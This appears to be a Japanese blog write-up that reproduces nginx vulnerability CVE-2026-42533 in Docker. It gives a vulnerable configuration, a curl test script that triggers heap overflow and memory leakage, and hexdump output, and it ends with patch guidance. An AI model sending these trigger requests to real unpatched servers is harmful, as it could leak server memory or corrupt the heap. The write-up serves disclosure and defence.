
2026年7月報告のnginx脆弱性(CVE-2026-42533)をDockerで再現してみた
はじめに
2026年7月15日、nginxのHTTPリクエスト処理に存在するメモリ破壊の脆弱性CVE-2026-42533が修正されました。認証なしでリモートから到達可能な脆弱性で、CVSS v4.0のスコアは9.2(Critical)です。原因となるコードは2011年3月リリースの0.9.6から存在しており、約15年間気づかれずに残っていたものです。
| 区分 | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| nginx stable | 0.9.6 〜 1.30.3 | 1.30.4 |
| nginx mainline | 〜 1.31.2 | 1.31.3 |
| NGINX Plus | R33 〜 R36 / 37.0.0.1 〜 37.0.2.1 | R36 P7 / 37.0.3.1 |
本記事では、Dockerローカル環境で脆弱版(1.30.3)と修正版(1.30.4)を並べて起動し、キャプチャクロバリングの発生とヒープ情報漏洩を動作レベルで再現しました。RCEの実演は行いません。また、NGINX Plusおよびstreamモジュールでのトリガーは検証範囲外としています。
regex locationとregex mapを組み合わせている構成でnginxを運用している場合は、早期のアップグレードを推奨します。
検証内容
検証環境
| 項目 | 値 |
|---|---|
| ホストOS | Linux |
| Docker | Docker Compose v2 |
| 脆弱版イメージ | nginx:1.30.3(port 8081) |
| 修正版イメージ | nginx:1.30.4(port 8082) |
| nginx構成 | regex location + regex map の組み合わせ |
脆弱な構成と Two-Pass メカニズム
検証に使用した nginx.conf は以下のとおりです。
worker_processes 1;
error_log /var/log/nginx/error.log debug;
events {
worker_connections 1024;
}
http {
map $http_x_input $mapped_var {
default "nomatch";
~^(?<cap>.+)$ "matched";
}
server {
listen 80;
server_name localhost;
location ~ "^/test/(.+)$" {
add_header X-Debug "$1--$mapped_var--$1" always;
return 200 "URI capture=[$1] mapped=[$mapped_var]\n";
}
location /health {
return 200 "ok\n";
}
}
}
nginxのスクリプトエンジンは、add_headerやreturnのような複合値を組み立てる際に2段階で処理を行います。まず必要なバッファ長を計算するLENパス、次に実際に文字列を書き込むVALUEパスです。regex location ^/test/(.+)$のキャプチャ$1は正規表現マッチの結果としてr->capturesに格納されます。
ここで、$mapped_varが参照される際にregex map ~^(?<cap>.+)$が評価されると、mapの正規表現マッチがX-Inputヘッダの値に対して実行され、その結果でr->capturesが上書きされます。本検証の構成では、LENパスとVALUEパスの間で$1の参照先が変わる状況が生じ、確保したバッファサイズと実際の書き込みバイト数に不整合が生じます。本検証では、この不整合がバッファオーバーフロー(Test 2)と未初期化領域の露出(Test 3)として観測されました。
コンテナの起動には次の docker-compose.yml を使用しました。
services:
nginx-vulnerable:
image: nginx:1.30.3
container_name: nginx-vuln-cve2026-42533
ports:
- "8081:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost/health"]
interval: 5s
timeout: 3s
retries: 3
nginx-fixed:
image: nginx:1.30.4
container_name: nginx-fixed-cve2026-42533
ports:
- "8082:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost/health"]
interval: 5s
timeout: 3s
retries: 3
docker compose up -dで両コンテナを起動した後、以下の3つのテストを実行しました。
検証用テストスクリプト(test.sh)
#!/bin/bash
# CVE-2026-42533 Reproduction Test Script
# Tests the two-pass capture clobbering vulnerability in nginx
#
# This script does NOT attempt RCE - it demonstrates the observable
# behavioral difference (capture clobbering) that proves the bug exists.
set -euo pipefail
VULN_PORT=8081
FIXED_PORT=8082
HOST="localhost"
# Wait for containers to be ready
echo "[*] Waiting for containers to be ready..."
for port in $VULN_PORT $FIXED_PORT; do
for i in $(seq 1 30); do
if curl -s -o /dev/null -w "%{http_code}" "http://${HOST}:${port}/health" 2>/dev/null | grep -q "200"; then
break
fi
if [ "$i" -eq 30 ]; then
echo "[!] Container on port ${port} not ready after 30s"
exit 1
fi
sleep 1
done
done
echo "[+] Both containers are ready"
# Test 1: Basic capture clobbering detection
echo "=== TEST 1: Basic Capture Clobbering Detection ==="
curl -s -D - "http://${HOST}:${VULN_PORT}/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
# Test 2: Overflow direction (short URI + long X-Input)
echo "=== TEST 2: Length Mismatch (Overflow Direction) ==="
LONG_INPUT=$(python3 -c "print('B' * 200)")
curl -s -D - "http://${HOST}:${VULN_PORT}/test/x" -H "X-Input: ${LONG_INPUT}"
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/x" -H "X-Input: ${LONG_INPUT}"
# Test 3: Leak direction (long URI + short X-Input)
echo "=== TEST 3: Length Mismatch (Leak Direction) ==="
LONG_CAP=$(python3 -c "print('A' * 500)")
curl -s --output - "http://${HOST}:${VULN_PORT}/test/${LONG_CAP}" -H "X-Input: z" | hexdump -C
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/${LONG_CAP}" -H "X-Input: z"
Test 1: キャプチャクロバリングの検出
URIパスのキャプチャ $1(3バイトの abc)よりも長い X-Input ヘッダ(19バイトの CLOBBERED_DATA_HERE)を送り、$1 が上書きされるかを確認しました。
curl -s -D - "http://localhost:8081/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
| サーバー | $1 の値 |
HTTP Status | 判定 |
|---|---|---|---|
| nginx 1.30.3 | CLOBBERED_DATA_HERE |
200 | ❌ 脆弱(キャプチャクロバリング発生) |
| nginx 1.30.4 | — | 500 | ✅ 修正済(バッファ境界チェックで中断) |
脆弱版(1.30.3)では、X-DebugヘッダがCLOBBERED_DATA_HERE--matched--CLOBBERED_DATA_HEREとなっていました。本来"abc"であるべき$1がX-Inputヘッダのキャプチャ結果に完全に置換されています。修正版(1.30.4)では、VALUEパスでバッファサイズの不整合を検出し、HTTP 500で処理を中断しています(詳細は後述の修正メカニズムを参照)。
Test 1 脆弱版レスポンス全文
HTTP/1.1 200 OK
Server: nginx/1.30.3
Date: Mon, 20 Jul 2026 08:39:18 GMT
Content-Type: text/plain
Content-Length: 35
Connection: keep-alive
X-Debug: CLOBBERED_DATA_HERE--matched--CLOBBERED_DATA_HERE
URI capture=[CLOBBERED_DATA_HERE] m
Test 2: オーバーフロー方向(短いURI + 長いX-Input)
/test/x($1 = 1バイト)に対して200バイトの X-Input ヘッダを与え、小さいバッファに大きな値が書き込まれるかを確認しました。
curl -s -D - "http://localhost:8081/test/x" -H "X-Input: $(python3 -c "print('B'*200)")"
| サーバー | レスポンス内容 | HTTP Status | 判定 |
|---|---|---|---|
| nginx 1.30.3 | Content-Length: 33(LENパス計算値)でボディは切り詰め。X-Debugヘッダに 'B'×200バイトが書き込まれヒープオーバーフロー発生 | 200 | ❌ バッファオーバーフロー(1バイト分のバッファに200バイト書込み) |
| nginx 1.30.4 | 500 Internal Server Error | 500 | ✅ ngx_http_script_check_length() が検出・中断 |
脆弱版ではLENパスが$1 = x(1バイト)で算出したContent-Length: 33のためボディは切り詰められていますが、X-Debugヘッダの構築時に1バイト分のバッファに対して200バイトが書き込まれ、ヒープ破壊が発生しています。修正版ではTest 1と同様にHTTP 500で中断しました。
Test 3: 情報漏洩方向(長いURI + 短いX-Input)
Test 2とは逆方向のケースです。URI /test/ + 500バイトの 'A' で $1 = 500バイトとし、X-Inputに "z"(1バイト)を送信します。LENパスは$1を500バイトとしてバッファサイズを算出しますが、VALUEパスでは$1の部分がzの1バイトに置き換わるため、バッファの大部分が未書き込みのまま残り、その領域の未初期化ヒープデータがレスポンスに漏洩します。
curl -s "http://localhost:8081/test/$(python3 -c "print('A'*500)")" -H "X-Input: z" | hexdump -C
| サーバー | レスポンスサイズ | 漏洩内容 | 判定 |
|---|---|---|---|
| nginx 1.30.3 | 532バイト(期待値33バイト) | ヌルバイト、ヒープポインタ(0xaaab5db438b0)、前リクエストのアクセスログ文字列 |
❌ 未初期化ヒープデータ漏洩 |
| nginx 1.30.4 | 33バイト | なし | ✅ 正しいサイズのみ返却 |
脆弱版のレスポンスは期待値の33バイトに対して532バイトが返却されました。hexdumpで内容を確認すると、以下の領域に未初期化のヒープデータが漏洩しています。
- offset 0x0093以降: ヌルバイト列(バッファの未初期化領域)
- offset 0x00b0: リトルエンディアンのヒープポインタ(
0xaaab5db438b0) - offset 0x0150以降: 前リクエストのアクセスログ残留文字列
000090 0a 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000b0 b0 38 b4 5d ab aa 00 00 00 00 00 00 00 00 00 00 >.8.]............<
0000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
000100 00 02 00 00 00 00 00 00 00 29 b4 5d ab aa 00 00 >.........).]....<
000150 31 32 37 2e 30 2e 30 2e 31 20 2d 20 2d 20 5b 32 >127.0.0.1 - - [2<
000160 30 2f 4a 75 6c 2f 32 30 32 36 3a 30 38 3a 33 39 >0/Jul/2026:08:39<
000170 3a 32 34 20 2b 30 30 30 30 5d 20 22 47 45 54 20 >:24 +0000] "GET <
000180 2f 68 65 61 6c 74 68 20 48 54 54 50 2f 31 2e 31 >/health HTTP/1.1<
000190 22 20 32 30 30 20 33 20 22 2d 22 20 22 63 75 72 >" 200 3 "-" "cur<
0001a0 6c 2f 38 2e 31 34 2e 31 22 0a 00 00 00 00 00 00 >l/8.14.1".......<
offset 0x00b0のb0 38 b4 5d ab aa 00 00は、値の並びからリトルエンディアンのヒープポインタ(0xaaab5db438b0)と推定されます。ASLR下のアドレス空間の一部が露出しています。offset 0x0150以降には前のリクエスト(/healthへのヘルスチェック)のアクセスログ文字列がそのまま残っていました。1回のGETリクエストでプロセス内部のメモリ内容が返却されていることが分かります。
Test 3 脆弱版hexdump全文
000000 55 52 49 20 63 61 70 74 75 72 65 3d 5b 7a 5d 20 >URI capture=[z] <
000010 6d 61 70 70 65 64 3d 5b 6d 61 74 63 68 65 64 5d >mapped=[matched]<
000020 0a 33 30 2e 33 0d 0a 44 61 74 65 3a 20 4d 6f 6e >.30.3..Date: Mon<
000030 2c 20 32 30 20 4a 75 6c 20 32 30 32 36 20 30 38 >, 20 Jul 2026 08<
000040 3a 33 39 3a 32 34 20 47 4d 54 0d 0a 43 6f 6e 74 >:39:24 GMT..Cont<
000050 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 >ent-Type: text/p<
000060 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 >lain..Content-Le<
000070 6e 67 74 68 3a 20 33 0d 0a 43 6f 6e 6e 65 63 74 >ngth: 3..Connect<
000080 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d >ion: keep-alive.<
000090 0a 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000b0 b0 38 b4 5d ab aa 00 00 00 00 00 00 00 00 00 00 >.8.]............<
0000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
000100 00 02 00 00 00 00 00 00 00 29 b4 5d ab aa 00 00 >.........).]....<
000110 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 >................<
000120 00 80 00 00 00 00 00 00 00 b3 cb 43 ab aa 00 00 >...........C....<
000130 84 ec bd 43 ab aa 00 00 50 29 b4 5d ab aa 00 00 >...C....P).]....<
000140 60 38 b4 5d ab aa 00 00 a0 3d b2 5d ab aa 00 00 >`8.].....=.]....<
000150 31 32 37 2e 30 2e 30 2e 31 20 2d 20 2d 20 5b 32 >127.0.0.1 - - [2<
000160 30 2f 4a 75 6c 2f 32 30 32 36 3a 30 38 3a 33 39 >0/Jul/2026:08:39<
000170 3a 32 34 20 2b 30 30 30 30 5d 20 22 47 45 54 20 >:24 +0000] "GET <
000180 2f 68 65 61 6c 74 68 20 48 54 54 50 2f 31 2e 31 >/health HTTP/1.1<
000190 22 20 32 30 30 20 33 20 22 2d 22 20 22 63 75 72 >" 200 3 "-" "cur<
0001a0 6c 2f 38 2e 31 34 2e 31 22 0a 00 00 00 00 00 00 >l/8.14.1".......<
0001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
000210 00 00 00 00 >....<
000214
修正メカニズム
nginx 1.30.4の修正は、キャプチャの保存/復元ではなく、VALUEパスにバッファ境界チェックを追加する方式を採っています。
ngx_http_script_check_length()がVALUEパスの各変数書き込み前にバッファ残量を確認します。LENパスで計算されたバッファサイズに対して書き込み量が超過する場合はHTTP 500を返して処理を中断します。Test 1・Test 2で修正版がHTTP 500を返したのはこの境界チェックによるものです。
情報漏洩の防止については、レスポンスとして返却する長さの算出方式が変更されました。修正前はLENパスの計測値をそのまま使用していましたが、修正後はVALUEパスの実書き込みバイト数(e->pos - e->buf.data)から算出します。Test 3で修正版が33バイトのみを返却したのは、実際に書き込まれた分だけがレスポンスサイズとして採用されたためです。
まとめ
CVE-2026-42533は、影響条件に該当する構成において、1回のGETリクエストでヒープ上のポインタと推定される値や過去のリクエストデータが漏洩し得る深刻な脆弱性です。今回の検証では、脆弱版でキャプチャクロバリングと未初期化メモリの露出を観測し、修正版では同じリクエストで問題が再現しないことを確認しました。
対策としては、nginx 1.30.4(stable)または1.31.3(mainline)への更新が有効です。NGINX PlusではR36 P7 / 37.0.3.1が該当します。すぐにアップデートできない環境では、自環境の設定が影響条件に該当するかを確認し、優先度を付けて対応することを推奨します。発見者(Stan Shaw)が公開している構成スキャナーで、regex locationとregex mapの組み合わせを含む構成の有無を確認できます。
また、nginxはコンテナイメージやPaaS基盤の内部で利用されている場合もあります。自分でnginxを直接管理していない環境でも、利用中の基盤に該当バージョンが含まれていないか、修正版や更新済みプラットフォームが提供されていないかを確認することを推奨します。







